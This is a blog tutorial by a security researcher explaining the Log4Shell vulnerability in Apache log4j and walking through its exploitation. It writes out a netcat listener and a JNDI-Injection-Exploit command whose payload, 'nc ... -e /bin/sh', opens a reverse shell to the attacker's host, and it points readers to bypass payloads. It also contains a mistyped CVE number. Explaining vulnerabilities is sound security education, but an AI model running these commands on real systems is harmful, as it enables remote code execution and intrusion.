AlbusSec:- Penetration-List 14 Log4shell — Sample
Hi Information Security folk, I hope you liked my previous article that was on Application Programming Interface(API) Vulnerabilities. However, Today We’ll learn about a very popular vulnerability found on 10 December called Log4shell. Log4Shell (CVE-2021–44228) was a zero-day vulnerability discovered on the apache log4j framework, with the help of log4shell an attacker will easily execute any arbitrary code on the server before We start I will introduce myself. So, I’m Aniket Tyagi, an Information Technology officer at the 5f eco foundation of India, an Information Security Researcher, and the founder of Albus Security. Without wasting our energy, Let’s get started.
Introduction to log4j:-
Before We go more, let me first clarify something log4shell and log4j are different, not the same. Because log4shell is a vulnerability that was found on Apache log4j framework.
Whenever a user is browsing an application over the internet(Means An user performing a send information, receiving information, and processing information). On this, there is one thing that is logging. Logging is an important measure to keep track of the application and what happens to it. This is where logging functionality come up with log4j. Apache log4j is a popular java library for logging error messages in applications. An application has a logging framework that logs activities performed on it. Such as log4j, NSpring, Elmah. The log4j is an open-source logging library developed by the Apache software foundation. However, let’s dig more into log4j.
log4j is the most famous logging framework used in modern applications, cloud services, and even used in Video game applications to log errors on a system. Log4j used a lookup feature called Java Naming and Directory Interface(JNDI). Java Naming and Directory Interface(JNDI) consists of many Application Programming Interfaces (API) and Service provider Interfaces(SPIs) that allow obtaining data from systems. Many naming and directory services are implemented via the DNS, LDAP, etc. The java application can access these services using JNDI. Whenever logging is held, then log4j will process a JNDI lookup that allows the input to be retrieved via JNDI. and LDAP Server is queried for the object. Therefore Log4j will request data from LDAP Server with the help of the JNDI lookup.
The vulnerability was arisen because of the Message Lookup Substitution feature that was used in log4j therefore it’ll fetch a particular java class from a queried object, then it’ll deserialize that variable. Make it Simple Suppose any particular java class of a logged string can be controlled by a remote attacker. then an attacker will easily manipulate the JNDI lookup. However, an attacker can first inject a malicious string into a particular part of the logged string which can be a Search box, username, Comment, etc. And sometimes might be User-Agent, Referrer Header, etc. An attacker can send a malicious string to the application.
And also there are some following protocols that may also be used for exploiting this vulnerability
The vulnerable application will interpret input contained within ${} as a JDNI resource and make a request to attacker.com to retrieve the resource. The attacker can send back a remote Java class file, which will then be loaded by the vulnerable application. Whenever an application will log this string that contains within ${}, so it’ll alert this string as JDNI resources and make a request to an attacker-controlled server to retrieve the resource. Then the attacker-controlled server will send back a malicious java class file, and that file will be loaded by the vulnerable application that causes Remote-Code-Execution.
Log4shell Vulnerability:-
log4shell vulnerability is also known with their CVE as CVE-2021–4428, and log4shell is a Critical-Severity Vulnerability because of Remote-Code-Execution.
The affected framework of Log4j is included in:
- Apache Struts2
- Apache Solr
- Apache Druid
- Apache Flink
- Apache Dubbo
- Spring-Boot-starter-log4j2
- Swift frameworks
Log4shell vulnerability is very interesting to identify because it will send at least a Request-Back to the address you define in your malicious String. Whenever an attacker sends the malicious string to the application, then an application will send back DNS-Request to the defined malicious address. To Automate this process, You can use our tool to identify that the application is vulnerable to log4shell vulnerability.
Whenever an attacker gets the request from the target application, then an attacker will try to exfiltrate a piece of information with the help of this vulnerability. Suppose an attacker injects a malicious string on a particular part of the logged string. An application will send a JNDI lookup to the defined LDAP server, which was a malicious LDAP server, and an attacker got DNS-Request with some sort of information. Here is a payload that was used to extract information from an application with the help of log4shell. However to get Remote-Code-Execution from Log4shell vulnerability. To Automate this process, You can use our tool to identify and extract a piece of information from the vulnerable application
Log4shell will help us to retrieve a variable from a remote or local machine and give us the power to execute arbitrary code on the vulnerable application. Before going into exploitation, You need to know something that an attacker/tester needs to have an LDAP server, where there is a variable file that contains the piece of code that helps us to define what to download and execute from the vulnerable application. For this, You can use most of the popular tools JNDI-Injection-Exploit to host a malicious LDAP Server. And, the second thing is to open a reverse shell connection with the vulnerable application, We’ll use netcat (nc) Command
nc -lvp 8080
Whenever you enter this command in the terminal, then the reverse shell connection is started. Now You need to host a malicious LDAP Server. For this, You use this command of the JDNI-Exploit tool.
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc You-Public-IP 8080 -e /bin/sh" -A "You-Public-Ip"So, the tool hosts the LDAP Server with a specified URL to use and retrieve the Malicious code with the reverse shell. Suppose an attacker will inject a Malicious string with a defined Malicious LDAP Server on the logged string like User-AgentWe have already set up the reverse shell connection(Listener) using the netcat (nc) command, and that was listening on port 8080. However, after a successful above process, then you’ll see that your Malicious Server received the call from the application. To understand the whole process of exploitation, check out this video to get perfect exploitation knowledge.
And, In the reverse shell connection. You got the successful connection from the vulnerable application, therefore now You have the ability to execute arbitrary code. However, An application will patches these issues very soon by just upgrading log4j dependencies from 2.15 to 2.16, therefore Here are some bypass payloads for log4shell vulnerability. For this, You can check our GitHub Repository for all payloads for log4shell
Penetration-List: {Coming-Soon}
Congratulations, We have almost covered lots of things that come in Log4shell Vulnerability. Therefore, I hope You like that, and please drop some claps on it because it contains lots of hard work to make quality-Content. However As usual here is an Update for Everyone, I’ll upload topics as a sample on medium, not a proper section because I’ve started to make a book. That’s why I’ll not upload the whole thing on medium. Now Upcoming writeups will be uploaded as a sample. Thank You For Reading
You can download a sample of the book:
